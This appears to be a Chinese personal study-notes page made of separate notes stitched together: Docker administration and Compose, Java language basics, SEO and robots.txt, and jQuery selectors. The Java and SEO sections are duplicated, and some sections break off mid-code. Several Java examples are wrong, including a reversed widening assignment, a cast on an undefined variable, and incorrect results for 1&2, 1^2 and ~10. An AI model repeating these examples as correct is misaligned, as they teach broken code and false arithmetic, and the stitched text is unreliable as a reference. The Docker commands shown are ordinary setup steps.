docker不需要硬件资源的虚拟化,docker的容器的软件是可以直接使用物理机的硬件资源的(更好的利用硬件资源),而且docker是直接调用的宿主机的内核,不需要重新加载操作系统的OS内核(减少不必要的浪费) 虚悬镜像(dangling image):指的是仓库名,标签都是的镜像,一般出现在删除镜像出错时 查找虚悬镜像 docker image ls -f dangling=true 删除虚悬镜像 docker image prune #删除所有dangling image 镜像是一种独立,可执行,轻量级的软件包,包含某个软件需要的所有内容,这个镜像包含应用程序,应用的配置依赖,这个镜像实质上就是一个可交付的运行环境 镜像分层系统实现依赖于UnionFS UnionFS(联合文件系统):是一种分层,轻量级的高性能文件系统,支持对文件系统的修改作为一次提交来一层一层的叠加,并且将不同的目录挂载到同一个虚拟文件系统下 镜像可通过分层来基于基础镜像来制造各种应用镜像 Docker镜像加载原理:通过UnionFS来一层一层组成,bootfs(boot file system)加载和引导内核,当boot加载完毕,内存使用权从bootfs转交到内核,系统卸载bootfs rootfs(root file system)就是操作系统,包含Linux系统中标准的/bin,/etc等目录 Docker镜像为啥这么小的原因就是镜像只包含bootfs和rootfs,复用宿主机的内核 镜像分层的好处:可复用,方便共享(复制迁移)资源,镜像的每一层都可以被共享,可复用 镜像层是只读,容器层是可写的,当一个容器被启动,一个可写层被加载到镜像的顶部时,那么这一层被叫为容器层,容器层之下的都被叫为镜像层 commit命令提交副本来创建新镜像 docker commit -m=“注释” -a=“作者” 容器id 用户/镜像名:镜像版本号 搭建私有仓库 docker私有仓库(Docker Registry) Docker Registry是docker提供的镜像,专门用来构建docker私有仓库 docker pull registry # 拉取Registry镜像 docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry 默认情况下,仓库被创建在容器的/var/lib/registry目录下(当然也可以通过容器卷来映射) docker tag ubuntu 192.168.1.110:5000/ubuntu # 修改tag为符合私有仓库的规范 这个私有仓库默认不支持http推送,需要修改/etc/docker/daemon.json “insecure-registries”: [“192.168.1.110:5000”] 如果不生效,请重启docker服务 推送镜像到私有仓库 docker push 192.168.1.110:5000/ubuntu 查看私有仓库存储的镜像 curl -XGET http://192.168.1.110:5000/v2/_catalog 获取私有仓库镜像到本地 docker pull 192.168.1.110:5000/ubuntu 容器数据卷 -v参数为启动自定义容器数据卷 比如说docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry /test/registry/为宿主机路径,/tmp/registry为容器内部路径,– privileged=true为开启privileged,(开启privileged后,容器内部的root才拥有真正的root权限,否则容器的root只是普通用户权限) 容器数据卷用于数据的持久化(独立于容器的生命周期),可绕过联合文件系统来达到持续存在或者共享数据的目的,docker不会在删除容器时,删除容器挂载的数据卷,数据卷指定容器内部路径,任何在该路径存储的数据,都会被映射到宿主机指定的那个目录下 在数据卷中的任何更改都不会认为是镜像的更新,而且数据卷中的更改是实时生效的(不需要重启容器之类的,哪怕容器没有启动),数据卷的生命周期长(可持续到没有容器使用它为止) 数据卷被用于容器和宿主机之间的互通互联,在宿主机中更新的文件,会实时在容器中生效 docker inspect 镜像名或者镜像id # 获取容器/镜像的元数据 数据卷在该镜像的元数据的Mounts属性中找到 数据卷默认可读可写(rw),可通过ro来限制容器内部只能读,不能写 默认情况下 docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:rw – privileged=true registry 因为rw是默认的,可以省略不写 限制容器只能读取数据卷,不能写(ro,read only) docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:ro – privileged=true registry 数据卷的继承(–volumes-from) docker run -it – privileged=true –volumes-from 容器1 –name 容器2 registry 容器2继承容器1的数据卷规则(哪怕容器1被删除了或者停止运行了,依然不会影响到容器2的数据卷) docker network docker network可用于容器之间的互联以及通信(端口映射),可通过服务名来直接通信(不受IP变动而影响) docker会默认创建一个叫docker0的虚拟网桥(bridge网络模式) docker0网桥会在内核层连通其他网络网卡和虚拟网卡,实现所有的容器和本地主机的网络连接(同一个物理网络) docker会默认创建三个网络模式,分别为bridge(默认),host,none 可通过docker network ls命令查看 创建网络 docker network create hallo 删除网络 docker network rm hallo 查看网络的详细信息 docker network inspect bridge bridge网络模式:为容器分配和设置IP,并且将容器分配到docker0网桥(如果不指定-network,创建的容器默认在该模式上)(–network bridge,可忽略) host网络模式:容器不会虚拟网卡,而是直接使用宿主机的ip和端口和外界通信(不需要额外进行NAT转换,没有独立的Network namespace,而是和宿主机共用一个Network namespace)(–network host) none网络模式:该模式的容器有自己的独立网络规则(Network namespace),但是没有进行配置,需要手动配置docker容器网络(发挥网络定制功能,没有虚拟网卡,没有IP等等网络信息),在该模式下只有一个127.0.0.1的本地网络回环接口(lo)(–network none) container网络模式:该模式下的容器不会配置自己的IP,而是和指定的容器共享IP和端口范围(网络共用,文件和进程隔离)(–network container:指定容器名或者容器ID) 自定义网络模式(可通过服务名(容器名/主机名)来通信,docker network create hallo) docker-compose容器编排 docker-Compose是Docker官方提供的Docker容器集群快速编排工具,用于管理多个docker容器组成的应用,通过docker-compose.yml配置文件来管理多个容器之间的调用关系 官方文档https://docs.docker.com/compose/ 下载文档:https://docs.docker.com/compose/install/ 下载docker-Compose sudo curl -L “https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)” -o /usr/local/bin/docker-compose 添加写的权限 sudo chmod +x /usr/local/bin/docker-compose 测试是否安装完成 docker-compose –version 构建并且启动容器(执行docker-compose.yml配置文件)(加参数-d为启动服务并且后台运行) docker-compose up 构建或者重新构建服务 docker-compose build 删除指定服务的容器 docker-compose rm 容器名 停止并且删除容器,镜像,网络,卷 docker-compose down 进入容器 docker-compose exec 服务id 查看当前docker-compose编排的全部容器 docker-compose top 查看当前docker-compose编排的容器进程 docker-compose ps 停止docker-compose服务 docker-compose stop 启动docker-compose服务 docker-compose start 重启docker-compose服务 docker-compose restart 检查配置文件(-q参数表示当配置文件出现问题时才输出信息) docker-compose config 容器的7种状态: created(已创建) restarting(重启中) running或up(运行中) removing(迁移中) paused(暂停) exited(停止) dead(死亡) docker-compose.yml配置文件 version: "3.9" services: web: build: context: . dockerfile: Dockerfile_test ports: - "5000:5000" volumes: - /app/test:/data/app links: - redis networks: - hallo_net redis: image: redis command: redis-server /etc/redis/redis.conf networks: hallo_net: version字段为版本号(具体支持的版本和docker-compose安装的版本有关,具体看实质版本),services字端表示服务容器,services字端下面的服务名的image字段为从指定镜像中启动容器(镜像可本地,可仓库或者镜像ID),ports字段为端口映射,networks字段为指定网络模式,volumes字段为容器数据卷 外面那个networks字段将会创建hallo_net自定义网络模式,处理基于指定镜像外,还可以基于Dockerfile,build字段下的dockerfile字段就是指定Dockerfile文件所在的路径,context字段为构建的路径,links字段为链接到指定服务中的容器 一般都是通过Dockerfile自动化构建镜像,然后基于这个镜像使用docker-compose管理容器 Portainer可视化工具 Portainer是一个Docker轻量级的可视化工具(Portainer官网,https://www.portainer.io,官网文档:https://docs.portainer.io/v/ce-2.11/start/install/server/docker/linux) 可直接pull Portainer的镜像来安装 docker pull portainer/portainer docker run -d -p 8000:8000 -p 9443:9443 --name portainer \ --restart=always \ -v /var/run/docker.sock:/var/run/docker.sock \ -v portainer_data:/data \ portainer/portainer-ce:2.11.1 启动完毕后,访问1192.168.1.110:9443/,进行设置admin用户和密码 如果是监控本地的docker,选择local CAdvisor+InfluxDB+Granfana(CIG重量级容器监控) docker依赖多种namespace来进行隔离(例如User Namespace,容器用户和宿主用户隔离,process id Namespace,隔离进程id,network Namespace,隔离网络设备,端口号,mount Namespace,隔离挂载等等),依赖于cgroup进行资源管理和控制(例如cpu,内存),namespace和cgroup都由自Linux内核提供 docker使用了6种namespace,分别是,mount namespace,uts namespace,ipc namespace,network namespace,pid namespace,user namespace mount Namespace:隔离不同进程的挂载数据,保证容器的挂载操作不会影响到宿主的挂载 sudo unshare –mount –fork /bin/bash # 创建一个mount Namespace,使用/bin/bash进程,在该挂载任何文件,都不会作用于宿主 pid namespace是隔离进程的pid的,也就是说宿主是看不到容器的应用pid,容器也看不到宿主的pid sudo unshare –pid –fork –mount-proc /bin/bash 安全容器:容器运行在虚拟机中,具备虚拟机的安全隔离性,例如kata Container,使用guest kernel(精简了内核,专门提供给容器运行,减低资源的消耗) 因为docker容器共享宿主内核,存在安全性,所以可使用安全容器来隔离宿主内核,安全容器的内核是完全独立于宿主的内核(虚拟化技术) docker容器资源限制 docker run -it –cpus=4 -m=8192 –pids-limit=1000 ubuntu /bin/bash # 启动ubuntu镜像,使用/bin/bash作为终端,资源被设置为4核8g,并且只能创建1000个pid docker stats ubuntu # 查看容器的资源使用情况 cAdvisor是谷歌开源的容器监控工具,不但可以监控容器的资源使用情况,还可以监控宿主的资源使用情况,可查看容器的历史资源使用情况 docker run \ --volume=/:/rootfs:ro \ --volume=/var/run:/var/run:ro \ --volume=/sys:/sys:ro \ --volume=/var/lib/docker/:/var/lib/docker:ro \ --volume=/dev/disk/:/dev/disk:ro \ --publish=8080:8080 \ --detach=true \ --name=cadvisor \ --privileged \ --device=/dev/kmsg \ gcr.io/cadvisor/cadvisor:$VERSION 访问http://localhost:8080 容器的资源限制通过/sys/fs/cgroup/memory/docker下的,目录名为容器id,其中memory.limit_in_bytes是该容器的内存限制文件,memory.usage_in_bytes是该容器的内存使用情况,proc/容器的pid/net/dev是该容器的网络使用情况,cpuset.cpus是cpu限制使用核数,cpu.cfs_period_us是一个cpu核心的带宽(单位微秒,容器的cpu总带宽=cpu核心数*单个cpu核心的带宽),cpu.cfs_quota_us是可使用cpu带宽(单位微秒,-1为不限制) 容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的,所以启动容器监控工具,要映射数据卷/sys:到容器中 kubernetes简称k8s,用来自动化容器的部署,监控,容器负载均衡等等 master是容器集群的控制系统,可以用来监控容器的状态,调度负载均衡 node是k8s的工作节点,可以接收master的指令,根据指令来创建和销毁Pod等等 Pod是容器的容器,可以包含多个容器,是k8s中最小的可部署单元,pod内部的网络是互通的,每一个pod都有自己的虚拟ip k8s将弃用dockershim(dockershim是k8s内置的一个组件,该组件可让k8s能够通过CRI(Container Runtime Interface)来操作docker) 安装docker 配置docker 添加docker官方GPGkey curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo apt-key fingerprint 0EBFCD88 安装依赖 sudo apt install apt-transport-https ca-certificates curl software-properties-common 设置docker仓库 sudo add-apt-repository “deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable” 重新加载源 sudo apt update 如果报错,可以手动在/etc/apt/source.list添加 deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable sudo apt dist-upgrade(智能处理包依赖,会自己安装新软件或者删除原有软件包来完成升级) 安装docker sudo apt install docker-ce docker-ce-cli containerd.io
java基于java虚拟机(Java Virtual Machine,JVM)和java应用编程接口(Application Programming Interface,API)构成 java的跨平台得益于java虚拟机,只需要编译一次java程序,就可以在不同系统的java虚拟机上运行 java编译成字节流,java虚拟机通过解析这些字节流来做的跨平台,编译完成得到的字节流可以在不同平台的java虚拟机上跑 java分为Java SE、Java EE 和 Java ME。 类的命名:必须是英文开头,后可字母,数字和下划线 一般为大写字母开头 例如: public class Abc public是访问修饰符,表示该class为公开,如果没有写pulic,也可以正常编译,但是这个class将不能在命令行中执行 在class内部可以定义方法,例如: public static void main(String[] args){} 这个例子的方法名为main,返回值为void,表示没有返回值,空 static是一个关键字,同样也是修饰符,表示静态方法 java入口程序必须是静态方法,方法名也必须为main,参数必须为String数组 在方法内部,语句才能执行,每一行程序都必须要以分号结束; // 单行注释 /* 多行注释 */ /** * 一样是多行注释 * */ java的变量的类型和JavaScript一样,变量分两种,基本类型变量和引用类型变量 java有8种基础类型,分别是整型(4种),字符型(1种),浮点型(2种),布尔型(1种) 变量必须先定义,后赋值使用,例如: int a = 1; 定义为int整数类型,名称为a,初始值为1 变量的特点就是可以重新赋值 int i = 1; // 定义int类型,名称为i,赋值为1 i = 100; // 重新赋值为100 int x = i; // 变量x的值为i,因为i的值为100,所以x的值为i 整型 整型类型:int,byte,short,long 整型类型的数就是整数,整数默认为int,在数值后加上L就代表为long,例如:long abc = 123L; 因为java的整型是有符号类型的,0表示正数,1表示为负数,所以取值范围是从负多少到正多少,不能超过取值范围 整数的值的表示支持二进制,八进制,十进制,十六进制 byte:-128 ~ 127 长度8位 short: -32768 ~ 32767 长度16位 int: -2147483648 ~ 2147483647 长度32位 long: -9223372036854775808 ~ 9223372036854775807 长度64位 浮点型 浮点型类型:float(长度32位),double(长度64位) 浮点型默认为double,在数值后加F,代表为float类型,例如:float abc = 3.14F; 浮点型支持科学计数法(E或者e),e2就是代表为10的2次方,例如:3.14e2 = 3.14x100 float:3.4E-038 ~ 3.4E+038 double:1.7E-308 ~ 1.7E+308 浮点类型的数就是小数 小数值默认位double类型 如果想将一个小数类型设置为float类型,需要在小数后加f,例如:float abc = 3.14 f float(单精度)精度是7位有效数字,第7位数字后面的会四舍五入 float a = 0.987654321f; // 实质上为0.9876543 ,2和1被四舍五入了,使用float类型,要在后面加上f double(双精度)精度是16位有效数字 在计算机中,使用符号位(sign)+指数(exponent)+小数位(fraction),来表示浮点数(浮点表示法) 符号位表示正负,指数表示取值范围,小数位表示计算精度 例如: float类型为32位,符号位占1位,指数位占8位,小数位占23位,小数位不足位数的补0 double类型为64位,符号位占1位,指数占11为,小数位占52位,小数位不足位数的补0 布尔类型 java布尔类型和很多程序语言一样,用来表示真与假,布尔类型只有两个值,true和false,长度为1位 可以赋值变量为布尔类型,也可以通过关系运算来返回 例如: boolean a = true; boolean b = 1>2; 字符类型 字符类型char表示一个字符,char类型不但可以表示标准的ASCII,还可以表示一个Unicode字符 char类型使用单引号’‘来表示,而且只能存储一个字符,长度为16位 字符串 字符串类型String是一个引用类型,例如: String a = “abc”; 引用类型的变量是类似于c语言的指针,内部保存了一个地址,指向某一个对象在内存的位置 \代表为转义符,例如:\n 类型转换 精度小的类型可以自动转换为精度大的类型 精度大的类型,需要强制转换,才能转换到精度小的类型,而且还可能溢出 例如: 自动转换 int a= 100; long b; a =b; 强制转换 int a = 999; byte a = (byte)b; 因为byte类型取值范围为:-128 ~ 127,999超过了byte类型的取值范围 如果一个变量在类下声明,那么这个变量整个类都可以访问,其作用域就在其声明的那个类中,覆盖整个类 当一个变量在一个方法内部被定义,那么这个变量只能作用于该方法内部,这也叫为局部变量,方法一执行结束,该变量就被销毁 常量 使用final修饰符定义常量,例如 final int a = 123; 常量在定义时初始化后就不能重新赋值了,常量的命名习惯为全部大写 var 关键字 var关键字会自动推断变量的类型,使用var定义变量只是少写了变量类型,例如 var a = 123; 运算 整数的运算,是精确的,因为只取结果的整数部分 溢出:指一个数超过数据类型的取值范围了,只要这个数超出了取值范围,那么就会产生溢出,溢出不会报错,会返回一个数,这个数会通过二进制运算来处理 +=,-=,*=,/= 例如: a+=2 // 相当于 a = a + 2 ++和–运算 a++ // 相当于 a = a + 1 a– // 相当于 a = a - 1 a++和++a ++a ,表示先加1,再引用a,a++,表示引用a,再加1 >大于,>=大于或等于,<小于,<=小于或等于,==是否相等,!=是否不相等 &:与,当俩边都为真时,为真,两边的表达式都处理 &&:与,当俩边都为真时,为真,只要第一个表达式的值为假,第二个就不进行处理 |:或,当两边都为假时,为假,任意一个表达式的值为真,则为真,两边的表达式都处理 ||:或,当两边都为假时,为假,任意一个表达式的值为真,则为真,只要第一个表达式的值为真,第二个就不进行处理 !:取反,当表达式的值为真时,返回假,表达式的值为假时,返回真 ^:异或,表达式的值不同时,返回真,相同时返回假 移位运算 因为在计算机中整数是以二进制表示的,所以可以通过移位运算 Integer.toBinaryString() 方法可以将十进制转换为二进制,例如: int a =10; String b = (Integer.toBinaryString(a)); b的值为1010 例如: int abc = 100; int a = abc « 3; // 向左移动3位 a = 800 int b = abc » 3; // 向右移动3位,b = 12 int c = -1 »> 2; // 无符号向右移,c = 1073741823 位或|:当对应的二进位中,有一个为1时,结果为1,例如 1|2 : 1的二进制为1,2的二进制为10,那么得到的二进制结果为11,转换为十进制为3 位与&:当对应的二进位中,俩边都为1时,结果为1,例如 1&2 :二进制结果为10,十进制结果为2 异或^:当对应的二进位中,两边的值都不为1时,结果为1,例如: 1^2:二进制结果为01,十进制结果为1 取非~:将二进制位倒反,将0改为1,将1改为0,例如: int a = 10 // 10的二进制为1010 ~a // 值为0101,十进制结果为5 = :赋值 += : 自加,例如i+=1,那么等于i=i+1 -=:自减,例如i-=1,那么等于i=i-1 还有%=,&=,/=,|=,^=,«=,»=,»>=都是类似的 三元操作符 基础语法为: a=x>c?值1:值2 用if语句来看就等于: if(x>c){ a=值1 }else{ a=值2 } if判断 根据条件来执行或者不执行某段语句,基本语法例如: if(条件){ // 当条件满足时执行的语句 }else{ // 当条件不满足时执行的语句 } 例如: if(a>=100){ System.out.println(“a大于或者等于100”); }else{ System.out.println(“a不大于或者等于100”); } switch判断 根据表达式的结果来执行相对应的语句,例如: switch(a){ case 1: System.out.println(“a等于1”); break; case 2: System.out.println(“a等于2”); break; default: System.out.println(“不知道a等于多少”); } switch也可以匹配字符串 while循环 循环就是根据条件进行循环处理,当条件满足时循环处理,当条件不满足时退出循环 例如: while (a>=100){ System.out.println(a); a++; } while循环是先判断后循环处理,当初始条件不满足时,那么一次循环都不会发生 do…while就是先执行再判断条件,例如: do{ System.out.println(a); a++; }while (a>=100); 先执行do里面的语句,再判断条件是否满足,所以do…while最低也会执行一次,哪怕初始条件也是不满足的 for循环 for和while不一样,它是使用计数器(自增或者自减)来实现循环,例如: for (int a=1;a<=100;a++){ system.out.println(a); } for可以用于数组遍历 break语句用于退出当前循环 continue语句用于提前结束本次循环,直接执行下次循环 例如: for (int a=1;a<=100;a++){ system.out.println(a); if(a==2){ break; } if(a==3){ continue; } 数组 数组的定义及遍历 int[] arr = {5,1,3,7,8,2,6,0,10,4,9}; for (int i=0;i
java基于java虚拟机(Java Virtual Machine,JVM)和java应用编程接口(Application Programming Interface,API)构成 java的跨平台得益于java虚拟机,只需要编译一次java程序,就可以在不同系统的java虚拟机上运行 java编译成字节流,java虚拟机通过解析这些字节流来做的跨平台,编译完成得到的字节流可以在不同平台的java虚拟机上跑 java分为Java SE、Java EE 和 Java ME。 类的命名:必须是英文开头,后可字母,数字和下划线 一般为大写字母开头 例如: public class Abc public是访问修饰符,表示该class为公开,如果没有写pulic,也可以正常编译,但是这个class将不能在命令行中执行 在class内部可以定义方法,例如: public static void main(String[] args){} 这个例子的方法名为main,返回值为void,表示没有返回值,空 static是一个关键字,同样也是修饰符,表示静态方法 java入口程序必须是静态方法,方法名也必须为main,参数必须为String数组 在方法内部,语句才能执行,每一行程序都必须要以分号结束; // 单行注释 /* 多行注释 */ /** * 一样是多行注释 */ java的变量的类型和JavaScript一样,变量分两种,基本类型变量和引用类型变量 java有8种基础类型,分别是整型(4种),字符型(1种),浮点型(2种),布尔型(1种) 变量必须先定义,后赋值使用,例如: int a = 1; 定义为int整数类型,名称为a,初始值为1 变量的特点就是可以重新赋值 int i = 1; // 定义int类型,名称为i,赋值为1 i = 100; // 重新赋值为100 int x = i; // 变量x的值为i,因为i的值为100,所以x的值为i 整型 整型类型:int,byte,short,long 整型类型的数就是整数,整数默认为int,在数值后加上L就代表为long,例如:long abc = 123L; 因为java的整型是有符号类型的,0表示正数,1表示为负数,所以取值范围是从负多少到正多少,不能超过取值范围 整数的值的表示支持二进制,八进制,十进制,十六进制 byte:-128 ~ 127 长度8位 short: -32768 ~ 32767 长度16位 int: -2147483648 ~ 2147483647 长度32位 long: -9223372036854775808 ~ 9223372036854775807 长度64位 浮点型 浮点型类型:float(长度32位),double(长度64位) 浮点型默认为double,在数值后加F,代表为float类型,例如:float abc = 3.14F; 浮点型支持科学计数法(E或者e),e2就是代表为10的2次方,例如:3.14e2 = 3.14x100 float:3.4E-038 ~ 3.4E+038 double:1.7E-308 ~ 1.7E+308 浮点类型的数就是小数 小数值默认位double类型 如果想将一个小数类型设置为float类型,需要在小数后加f,例如:float abc = 3.14 f float(单精度)精度是7位有效数字,第7位数字后面的会四舍五入 float a = 0.987654321f; // 实质上为0.9876543 ,2和1被四舍五入了,使用float类型,要在后面加上f double(双精度)精度是16位有效数字 在计算机中,使用符号位(sign)+指数(exponent)+小数位(fraction),来表示浮点数(浮点表示法) 符号位表示正负,指数表示取值范围,小数位表示计算精度 例如: float类型为32位,符号位占1位,指数位占8位,小数位占23位,小数位不足位数的补0 double类型为64位,符号位占1位,指数占11为,小数位占52位,小数位不足位数的补0 布尔类型 java布尔类型和很多程序语言一样,用来表示真与假,布尔类型只有两个值,true和false,长度为1位 可以赋值变量为布尔类型,也可以通过关系运算来返回 例如: boolean a = true; boolean b = 1>2; 字符类型 字符类型char表示一个字符,char类型不但可以表示标准的ASCII,还可以表示一个Unicode字符 char类型使用单引号’‘来表示,而且只能存储一个字符,长度为16位 字符串 字符串类型String是一个引用类型,例如: String a = “abc”; 引用类型的变量是类似于c语言的指针,内部保存了一个地址,指向某一个对象在内存的位置 \代表为转义符,例如:\n 类型转换 精度小的类型可以自动转换为精度大的类型 精度大的类型,需要强制转换,才能转换到精度小的类型,而且还可能溢出 例如: 自动转换 int a= 100; long b; a =b; 强制转换 int a = 999; byte a = (byte)b; 因为byte类型取值范围为:-128 ~ 127,999超过了byte类型的取值范围 如果一个变量在类下声明,那么这个变量整个类都可以访问,其作用域就在其声明的那个类中,覆盖整个类 当一个变量在一个方法内部被定义,那么这个变量只能作用于该方法内部,这也叫为局部变量,方法一执行结束,该变量就被销毁 常量 使用final修饰符定义常量,例如 final int a = 123; 常量在定义时初始化后就不能重新赋值了,常量的命名习惯为全部大写 var 关键字 var关键字会自动推断变量的类型,使用var定义变量只是少写了变量类型,例如 var a = 123; 运算 整数的运算,是精确的,因为只取结果的整数部分 溢出:指一个数超过数据类型的取值范围了,只要这个数超出了取值范围,那么就会产生溢出,溢出不会报错,会返回一个数,这个数会通过二进制运算来处理 +=,-=,*=,/= 例如: a+=2 // 相当于 a = a + 2 ++和–运算 a++ // 相当于 a = a + 1 a– // 相当于 a = a - 1 a++和++a ++a ,表示先加1,再引用a,a++,表示引用a,再加1 >大于,>=大于或等于,<小于,<=小于或等于,==是否相等,!=是否不相等 &:与,当俩边都为真时,为真,两边的表达式都处理 &&:与,当俩边都为真时,为真,只要第一个表达式的值为假,第二个就不进行处理 |:或,当两边都为假时,为假,任意一个表达式的值为真,则为真,两边的表达式都处理 ||:或,当两边都为假时,为假,任意一个表达式的值为真,则为真,只要第一个表达式的值为真,第二个就不进行处理 !:取反,当表达式的值为真时,返回假,表达式的值为假时,返回真 ^:异或,表达式的值不同时,返回真,相同时返回假 移位运算 因为在计算机中整数是以二进制表示的,所以可以通过移位运算 Integer.toBinaryString() 方法可以将十进制转换为二进制,例如: int a =10; String b = (Integer.toBinaryString(a)); b的值为1010 例如: int abc = 100; int a = abc « 3; // 向左移动3位 a = 800 int b = abc » 3; // 向右移动3位,b = 12 int c = -1 »> 2; // 无符号向右移,c = 1073741823 位或|:当对应的二进位中,有一个为1时,结果为1,例如 1|2 : 1的二进制为1,2的二进制为10,那么得到的二进制结果为11,转换为十进制为3 位与&:当对应的二进位中,俩边都为1时,结果为1,例如 1&2 :二进制结果为10,十进制结果为2 异或^:当对应的二进位中,两边的值都不为1时,结果为1,例如: 1^2:二进制结果为01,十进制结果为1 取非~:将二进制位倒反,将0改为1,将1改为0,例如: int a = 10 // 10的二进制为1010 ~a // 值为0101,十进制结果为5 = :赋值 += : 自加,例如i+=1,那么等于i=i+1 -=:自减,例如i-=1,那么等于i=i-1 还有%=,&=,/=,|=,^=,«=,»=,»>=都是类似的 三元操作符 基础语法为: a=x>c?值1:值2 用if语句来看就等于: if(x>c){ a=值1 }else{ a=值2 } if判断 根据条件来执行或者不执行某段语句,基本语法例如: if(条件){ // 当条件满足时执行的语句 }else{ // 当条件不满足时执行的语句 } 例如: if(a>=100){ System.out.println(“a大于或者等于100”); }else{ System.out.println(“a不大于或者等于100”); } switch判断 根据表达式的结果来执行相对应的语句,例如: switch(a){ case 1: System.out.println(“a等于1”); break; case 2: System.out.println(“a等于2”); break; default: System.out.println(“不知道a等于多少”); } switch也可以匹配字符串 while循环 循环就是根据条件进行循环处理,当条件满足时循环处理,当条件不满足时退出循环 例如: while (a>=100){ System.out.println(a); a++; } while循环是先判断后循环处理,当初始条件不满足时,那么一次循环都不会发生 do…while就是先执行再判断条件,例如: do{ System.out.println(a); a++; }while (a>=100); 先执行do里面的语句,再判断条件是否满足,所以do…while最低也会执行一次,哪怕初始条件也是不满足的 for循环 for和while不一样,它是使用计数器(自增或者自减)来实现循环,例如: for (int a=1;a<=100;a++){ system.out.println(a); } for可以用于数组遍历 break语句用于退出当前循环 continue语句用于提前结束本次循环,直接执行下次循环 例如: for (int a=1;a<=100;a++){ system.out.println(a); if(a==2){ break; } if(a==3){ continue; } 数组 数组的定义及遍历 int[] arr = {5,1,3,7,8,2,6,0,10,4,9}; for (int i=0;i
SEO:搜索引擎优化(Search Engine Optimization),是利用搜索引擎的规则来提升网站在该搜索引擎的排名(免费,高回报) robots.txt就是robots协议,用来告诉网络蜘蛛,这个网站什么内容是不应该获取的,那些内容可以获取,例如:淘宝就屏蔽了百度的爬虫 robots.txt文件应该放在网站根目录下 允许指定蜘蛛获取,*为通配符 User-agent: * 允许指定目录可以被获取 Allow: / 指定Sitemap文件在哪 Sitemap: sitemap.xml 不允许指定目录被获取(注意该方法会模糊匹配,例如/adminxxx,也是会被屏蔽) Disallow: /admin description(描述) keywords(关键词) Sitemap(通知搜索引擎,该网站有哪些可以供爬取的,常见的有xml,html) HTML标签优化 语义化标签,例如header,nav,footer 内部连接优化 尽量不要使用JavaScript来设置链接,应该使用简单的a href 友情链接 友情链接就是在自己网站上放其他网站的链接,友情链接实质上并不能带来多少访问量,而且是用来增强搜索引擎的收录量爬取量 注意:请不要在友情链接上加rel=“nofollow”,该属性会告诉搜索引擎爬虫不用抓取目标页,那么这个友情链接就是废了 而且不要乱加友情链接,应该选择高质量,而且内容相似,更新频率高,而且还要有一定的访问量 注意:如果没有必要就不要单向链接,爬虫跑过去,就不会回来了,一直到找到你的链接,通过该链接回来,所以没有必要不要单向链接 尽量避免使用iframe标签,搜索引擎不会抓取iframe标签的内容 重要信息请勿使用js输出,爬虫不会抓取js的内容 给图片加alt信息,重要信息请放头部,有部分搜索引擎爬虫会限制抓取的长度
SEO:搜索引擎优化(Search Engine Optimization),是利用搜索引擎的规则来提升网站在该搜索引擎的排名(免费,高回报) robots.txt就是robots协议,用来告诉网络蜘蛛,这个网站什么内容是不应该获取的,那些内容可以获取,例如:淘宝就屏蔽了百度的爬虫 robots.txt文件应该放在网站根目录下 允许指定蜘蛛获取,*为通配符 User-agent: * 允许指定目录可以被获取 Allow: / 指定Sitemap文件在哪 Sitemap: sitemap.xml 不允许指定目录被获取(注意该方法会模糊匹配,例如/adminxxx,也是会被屏蔽) Disallow: /admin description(描述) keywords(关键词) Sitemap(通知搜索引擎,该网站有哪些可以供爬取的,常见的有xml,html) HTML标签优化 语义化标签,例如header,nav,footer 内部连接优化 尽量不要使用JavaScript来设置链接,应该使用简单的a href 友情链接 友情链接就是在自己网站上放其他网站的链接,友情链接实质上并不能带来多少访问量,而且是用来增强搜索引擎的收录量爬取量 注意:请不要在友情链接上加rel=“nofollow”,该属性会告诉搜索引擎爬虫不用抓取目标页,那么这个友情链接就是废了 而且不要乱加友情链接,应该选择高质量,而且内容相似,更新频率高,而且还要有一定的访问量 注意:如果没有必要就不要单向链接,爬虫跑过去,就不会回来了,一直到找到你的链接,通过该链接回来,所以没有必要不要单向链接 尽量避免使用iframe标签,搜索引擎不会抓取iframe标签的内容 重要信息请勿使用js输出,爬虫不会抓取js的内容 给图片加alt信息,重要信息请放头部,有部分搜索引擎爬虫会限制抓取的长度
##第一个jQuery程序 $(‘div’).html(“hello.world”); ##DOM对象和jQuery对象互转化 jQuery对象和DOM对象是不一样的,但是都能操作DOM get()方法(jquery对象转化为DOM对象) var $main =$(’.main’); // jquer对象 var main = $main.get(0); // 通过get方法,转化成DOM对象 main.style.color = ‘#c7edcc’; // 操作DOM对象属性 DOM对象转化为jQuery对象 var main = document.getElementsByClassName(‘main’); // DOM对象 var $main = $(main); // jQuery对象 $main.css(‘color’,’#c7edcc’); // 操作jQuery对象属性 ##jQuery选择器 元素选择器 $(‘div’) ID选择器 $("#main") id是唯一性,只能在页面中使用一次 类选择器 $(’.main’) 全选择器 $(’*’) 层次选择器 $(‘div .main’) 属性选择器 $(“a[href=“https://xiaochenabc123.test.com”]”) // 选择带href属性的a元素 可以使用前缀或者后缀来选择 $(“div[name^=“yes”]”) // 选择div标签的neme属性值为yes开头的 $(“div[name$=“yes”]”) // 选择div标签的neme属性值为yes结尾的 组合选择器 $(“div[class=divs]”) 组合选择器其实就是用多个选择器组合起来 多项选择器 $(“div[class=divs],a[href=“https://xiaochenabc123.test.com”) 多项选择器就是将多个选择器用逗号组合起来 层级选择器 $(“ul.nev li.active”) 必须确保DOM元素之前具有层级关系,每个层级使用空格分开 子选择器 $(“ul.nev>li.active”) 必须确保层级关系是父子关系(不是祖先关系) 过滤选择器 $(“div:first”) // 过滤出第一个div元素 $(“ul li:first-child”) // 过滤出每个ul元素下的第一个li元素 $(“ul li:last-child”) // 过滤出每个ul元素下的最后一个li元素 $(“ul li:nth-child(3)”) // 过滤出每个ul元素下的最后一个li元素 $(“ul li:nth-child(odd)”) // 过滤出每个ul元素下个数为奇数的li元素,从1开始 $(“ul li:nth-child(even)”) // 过滤出每个ul元素下个数为偶数的li元素 $(‘div’).find(’.main’) // 选择div元素下的全部带有main类的元素 $(.main).parent() // 选择.main类的上一级(父级)元素 $(.main).parents() // 选择.main类的父(祖先)级元素 特殊选择器 $(":input”) // 